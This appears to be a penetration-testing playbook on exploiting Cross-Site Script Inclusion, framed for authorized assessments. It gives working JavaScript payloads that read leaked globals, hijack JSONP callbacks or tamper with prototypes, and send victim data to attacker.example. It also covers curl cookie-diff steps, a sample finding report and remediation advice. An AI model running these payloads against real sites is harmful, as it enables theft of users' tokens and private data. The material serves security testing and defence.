Exploiting Cross-Site Script Inclusion (XSSI)
When to Use
- During authorized assessments of endpoints that return JavaScript, JSONP, or data consumable via a
<script> tag
- When an authenticated endpoint embeds user-specific data into a JS file or global variable
- When the application exposes a JSONP callback parameter (
?callback=, ?jsonp=)
- When sensitive data (CSV, JSON) is served with a permissive
Content-Type and no anti-inclusion guard
- When evaluating whether endpoints rely on cookies (ambient authority) and lack CSRF-style tokens or CORB/CORP
Prerequisites
- Authorization: Engagement scope covering cross-origin data disclosure with a logged-in victim test account
- Attacker-controlled origin: A page you host to include the victim script and capture leaked data
- Burp Suite + DetectDynamicJS: To diff responses with/without cookies and find dynamic (state-dependent) JS
- Modern + legacy browser matrix: Some variants (UTF-7) only work in specific/older browsers
- OOB collector: An endpoint to receive exfiltrated values
Critical: Variants Most Often Missed
XSSI is more than "leak a global variable". The four categories below each have
distinct exploitation paths.
# 1. Regular / static JS with secrets in globals
# Include the script, then read the global it defines.
# 2. Dynamic JS (secret added based on the user's session)
# Detect by diffing the response WITH vs WITHOUT cookies (DetectDynamicJS).
# 3. JSONP callback hijack
# Define the callback function (or object path) yourself before including.
# 4. Non-JS files included as scripts (CSV/JSON), UTF-7 charset escape.
Static-global leak:
<script src="https://victim.example/script.js"></script>
<script>
navigator.sendBeacon("//attacker.example/leak", JSON.stringify(confidential_keys[0]));
</script>
JSONP callback hijack (define the callback path you control):
<script>
var angular = function(){ return 1; };
angular.callbacks = function(){ return 1; };
angular.callbacks._7 = function(leaked){
new Image().src = "//attacker.example/?d=" + encodeURIComponent(JSON.stringify(leaked));
};
</script>
<script src="https://victim.example/p?jsonp=angular.callbacks._7"></script>
<script>
function leak(leaked){ new Image().src="//attacker.example/?d="+encodeURIComponent(JSON.stringify(leaked)); }
</script>
<script src="https://victim.example/p?jsonp=leak"></script>
Prototype tampering for non-global secrets (override built-ins to capture data):
Array.prototype.slice = function () {
new Image().src = "//attacker.example/?d=" + encodeURIComponent(JSON.stringify(this));
};
Non-JS (CSV) inclusion and UTF-7 JSON escape:
<script src="https://victim.example/export.csv"></script>
<script src="https://victim.example/json-utf7.json" charset="UTF-7"></script>
How to CONFIRM a hit (avoid false negatives)
- Static/global: after the cross-origin
<script> loads, the global variable/object it defines is readable from your page (typeof confidential_keys !== 'undefined') and contains real victim data. Confirm by beaconing the value.
- Dynamic JS: the response BODY differs when the request carries the victim's cookies vs when it does not (DetectDynamicJS). The cookie-bearing version contains the secret — this is the exploitable case.
- JSONP: your defined callback fires with the victim's data as its argument. Confirm by logging/beaconing the argument and seeing account-scoped content.
- Non-JS / UTF-7: the parser raises a usable error/executes attacker JS, or the data becomes reachable; confirm in the specific browser where it works.
- Always run the exploit in a logged-in victim browser session and verify the leaked data is genuinely private (belongs to the victim, not the attacker).
Workflow
Step 1: Find Script/JSONP/Data Endpoints
grep -rEi "callback=|jsonp=|\.js(\?|$)|export\.csv|/api/.*\.json" proxy-history.txt
Note which endpoints require authentication and which echo a callback parameter.
Step 2: Detect Dynamic (State-Dependent) JS
curl -s https://victim.example/profile.js > anon.js
curl -s -H "Cookie: session=<victim>" https://victim.example/profile.js > auth.js
diff anon.js auth.js
Or use the Burp DetectDynamicJS extension to flag responses that vary by auth state.
Step 3: Leak Static / Dynamic Globals
Include the script cross-origin and read the globals it defines:
<script src="https://victim.example/profile.js"></script>
<script>
for (const k of ["confidential_keys","userProfile","csrfToken"])
if (window[k]) new Image().src="//attacker.example/?"+k+"="+encodeURIComponent(JSON.stringify(window[k]));
</script>
Step 4: Hijack JSONP Callbacks
Define the exact callback name/path the endpoint expects, then include it (see payloads above). Capture the leaked argument to your OOB collector.
Step 5: Prototype Tampering for Non-Global Data
Override commonly used built-ins (Array.prototype.slice, etc.) before including the script so the victim script's internal data flows into your hook.
Step 6: Non-JS / Charset Tricks
Try including CSV/JSON as a script, and test the UTF-7 charset trick in older/specific browsers to escape JSON structure and capture data.
Key Concepts
| Concept | Description |
|---|
| SOP Exemption for Scripts | <script src> can load cross-origin, unlike fetch/XHR — the root of XSSI |
| Ambient Authority | Cross-origin script requests automatically include the victim's cookies |
| Regular XSSI | Secrets in a static JS file readable after inclusion via globals |
| Dynamic XSSI | Secrets injected based on the user's session; detected by cookie-diffing responses |
| JSONP Hijack | Defining the callback function/object path to capture the JSONP payload |
| Prototype Tampering | Overriding built-ins (e.g., Array.prototype.slice) to read non-global data |
| Non-JS Inclusion | CSV/JSON leaked by being parsed as a script; UTF-7 charset escapes JSON |
Tools & Systems
| Tool | Purpose |
|---|
| Burp Suite + DetectDynamicJS | Diff JS responses by auth state to find dynamic XSSI |
| Attacker-hosted page + OOB collector | Include victim scripts and capture leaked data |
| CyberChef | Decode/inspect leaked structures and test charset transformations |
| grep / ripgrep | Discover JSONP callbacks and script/data endpoints in proxy history |
| Browser matrix (modern + legacy) | Validate charset/UTF-7 variants that depend on the engine |
Common Scenarios
Scenario 1: Dynamic JS Leaks User Profile
/account/config.js embeds the logged-in user's email and an API token as global variables when requested with cookies. An attacker page includes it cross-origin and reads window.userConfig, exfiltrating the victim's token.
Scenario 2: JSONP Callback Hijack
A search API exposes ?callback= returning private results wrapped in the callback. The attacker defines a function named after the expected callback and includes the endpoint, capturing the victim's private search data.
Scenario 3: CSV Export Inclusion
/reports/export.csv is served with a script-friendly type and no anti-inclusion guard. Including it as a <script> (with a charset trick) lets the attacker read rows belonging to the victim.
Output Format
## XSSI Finding
**Vulnerability**: Cross-Site Script Inclusion (Dynamic JS / JSONP data leak)
**Severity**: High (CVSS 7.5)
**Location**: GET /account/config.js (credentialed, dynamic)
**OWASP Category**: A01:2021 - Broken Access Control (cross-origin data disclosure)
### Reproduction Steps
1. Diff /account/config.js with vs without session cookie -> body differs (dynamic)
2. Host attacker page including <script src="https://victim.example/account/config.js">
3. Read global window.userConfig defined by the script
4. Beacon the value to attacker collector; confirmed victim email + API token leaked
### Evidence
| Check | Result |
|-------|--------|
| Cookie-diff | response body differs by auth state |
| Leaked global | userConfig = { email, apiToken } |
| Victim-scoped | matches victim account, not attacker |
### Impact
Any site the victim visits can read the victim's private profile data and API
token cross-origin, enabling account compromise.
### Recommendation
1. Do not embed sensitive data in JS/JSONP responses; return data via JSON over fetch with CORS, not script inclusion
2. Require a non-cookie token (anti-CSRF) for sensitive data endpoints
3. Prefix JSON with an infinite loop / `)]}'` and parse server-trusted; reject script-tag inclusion
4. Send `X-Content-Type-Options: nosniff` and correct `Content-Type`; deploy CORB/CORP
5. Remove or authenticate JSONP callbacks; avoid serving CSV/data with script-executable types